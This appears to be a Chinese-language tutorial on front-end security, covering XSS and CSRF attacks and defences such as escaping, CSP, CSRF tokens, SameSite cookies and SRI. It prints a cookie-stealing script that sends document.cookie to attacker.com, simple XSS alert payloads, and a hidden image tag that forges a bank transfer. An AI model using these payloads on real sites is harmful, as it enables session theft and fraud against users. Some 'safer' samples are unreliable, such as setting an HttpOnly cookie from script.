引言

隨著互聯網應用的普及，前端安全問題日益凸顯。作為開發者，了解并防范常見的安全威脅至關重要。本文將深入探討兩種最常見的前端安全威脅：跨站腳本攻擊（XSS）和跨站請求偽造（CSRF），并提供實用的防御策略與最佳實踐。

一、跨站腳本攻擊（XSS）

1.1 什么是XSS？

XSS（Cross-Site Scripting）是一種代碼注入攻擊，攻擊者通過在受信任的網站上注入惡意腳本代碼，當用戶瀏覽該頁面時，惡意腳本會在用戶的瀏覽器中執行。

1.2 XSS的類型

1.2.1 存儲型XSS

惡意代碼被存儲在目標服務器上（如數據庫），當用戶請求包含此惡意代碼的頁面時，代碼會被執行。

// 用戶輸入（存儲到數據庫）
const userComment = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>";// 服務器直接渲染到頁面
document.getElementById('comments').innerHTML = userComment; // 危險操作！

1.2.2 反射型XSS

攻擊者將惡意代碼嵌入到URL中，當服務器接收到請求后，惡意代碼會被"反射"回用戶的瀏覽器執行。

https://example.com/search?q=<script>alert('XSS')</script>

1.2.3 DOM型XSS

完全在客戶端執行，惡意代碼通過修改DOM環境在本地執行。

// URL: https://example.com/page#<script>alert('XSS')</script>
document.getElementById('output').innerHTML = location.hash.substring(1); // 危險操作！

1.3 XSS防御策略

1.3.1 輸入驗證與過濾

對用戶輸入進行嚴格驗證，過濾特殊字符：

// 簡單的HTML轉義函數
function escapeHTML(str) {return str.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#039;');
}// 使用
const userInput = "<script>alert('XSS')</script>";
const safeInput = escapeHTML(userInput);
document.getElementById('content').textContent = safeInput; // 更安全的方式

1.3.2 使用安全的API

優先使用不解析HTML的API：

// 不安全
element.innerHTML = userInput;// 安全
element.textContent = userInput;

1.3.3 內容安全策略（CSP）

通過HTTP頭或meta標簽配置CSP，限制資源加載和腳本執行：

<!-- 通過meta標簽設置CSP -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted-cdn.com;">

服務器端設置：

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

1.3.4 使用現代框架

現代前端框架（React、Vue、Angular）默認會對數據進行轉義：

// React自動轉義
function Comment({ text }) {return <div>{text}</div>; // React自動轉義text內容
}

<!-- Vue自動轉義 -->
<template><div>{{ userInput }}</div> <!-- Vue自動轉義 -->
</template>

二、跨站請求偽造（CSRF）

2.1 什么是CSRF？

CSRF（Cross-Site Request Forgery）是一種攻擊，強制已認證用戶執行非本意的操作，如在不知情的情況下更改賬戶信息、發送消息等。

2.2 CSRF攻擊示例

假設用戶已登錄銀行網站，攻擊者可能會誘導用戶訪問包含以下代碼的惡意網站：

<!-- 惡意網站的HTML -->
<img src="https://bank.example.com/transfer?to=attacker&amount=1000" style="display:none">

當用戶訪問惡意網站時，瀏覽器會自動發送請求到銀行網站，并攜帶用戶的認證Cookie。

2.3 CSRF防御策略

2.3.1 CSRF Token

在表單中嵌入一個隨機生成的令牌，服務器驗證該令牌：

<form action="/transfer" method="POST"><input type="hidden" name="csrf_token" value="random_token_here"><!-- 其他表單字段 --><button type="submit">轉賬</button>
</form>

前端AJAX請求中添加CSRF Token：

// 使用Axios發送請求
axios.defaults.headers.common['X-CSRF-TOKEN'] = document.querySelector('meta[name="csrf-token"]').getAttribute('content');axios.post('/api/transfer', {amount: 1000,recipient: 'friend'
});

2.3.2 SameSite Cookie屬性

設置Cookie的SameSite屬性可以防止跨站請求發送Cookie：

Set-Cookie: sessionid=abc123; SameSite=Strict;

• Strict: 僅在同站點請求時發送Cookie
• Lax: 導航到目標網址的GET請求會發送Cookie（默認值）
• None: 在跨站請求中也會發送Cookie（需要設置Secure屬性）

2.3.3 檢查Referer和Origin頭

服務器可以檢查請求的Referer或Origin頭，確保請求來自合法來源：

// 服務器端代碼示例（Node.js）
app.post('/api/transfer', (req, res) => {const referer = req.headers.referer || '';const origin = req.headers.origin || '';if (!referer.startsWith('https://yourwebsite.com') && !origin.startsWith('https://yourwebsite.com')) {return res.status(403).json({ error: 'Invalid request source' });}// 處理請求...
});

2.3.4 使用雙重提交Cookie

設置一個Cookie，并在請求參數中也提交相同的值：

// 設置Cookie
document.cookie = "csrfCookie=random_token; path=/; SameSite=Strict";// 發送請求時包含相同的值
fetch('/api/transfer', {method: 'POST',headers: {'Content-Type': 'application/json','X-CSRF-Token': 'random_token' // 與Cookie值相同},body: JSON.stringify({ amount: 1000, recipient: 'friend' })
});

三、其他前端安全最佳實踐

3.1 HTTPS的使用

始終使用HTTPS協議，防止中間人攻擊和數據竊聽：

// 檢測并重定向到HTTPS
if (location.protocol !== 'https:') {location.replace(`https:${location.href.substring(location.protocol.length)}`);
}

3.2 安全的依賴管理

定期更新依賴包，使用工具掃描潛在安全漏洞：

# 使用npm audit檢查依賴安全問題
npm audit# 修復安全問題
npm audit fix

3.3 安全的本地存儲使用

敏感信息不應存儲在localStorage或sessionStorage中：

// 不安全
localStorage.setItem('authToken', token);// 更安全（僅在HTTPS下使用Cookie存儲）
document.cookie = `authToken=${token}; Secure; HttpOnly; SameSite=Strict`;

3.4 防止點擊劫持

使用X-Frame-Options或CSP frame-ancestors防止網站被嵌入到iframe中：

X-Frame-Options: DENY

或在前端實現防護：

// 如果頁面被嵌入iframe，強制跳出
if (window !== window.top) {window.top.location = window.location;
}

3.5 子資源完整性（SRI）

使用SRI確保加載的外部資源未被篡改：

<script src="https://cdn.example.com/library.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"></script>

四、安全測試與審計

4.1 自動化安全測試

集成安全測試到CI/CD流程：

# 使用OWASP ZAP進行自動化安全測試
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://yourwebsite.com

4.2 滲透測試

定期進行滲透測試，發現潛在安全漏洞。

4.3 代碼審計

進行安全代碼審查，特別關注用戶輸入處理和認證邏輯。

結論

前端安全是一個持續的過程，需要開發者保持警惕并采取多層次的防御策略。通過理解XSS和CSRF等常見攻擊方式，并實施本文提到的防御措施，可以顯著提高應用的安全性。

參考資源

1. OWASP Top Ten
2. Content Security Policy (CSP)
3. SameSite Cookies Explained
4. Subresource Integrity
5. OWASP XSS Prevention Cheat Sheet
6. OWASP CSRF Prevention Cheat Sheet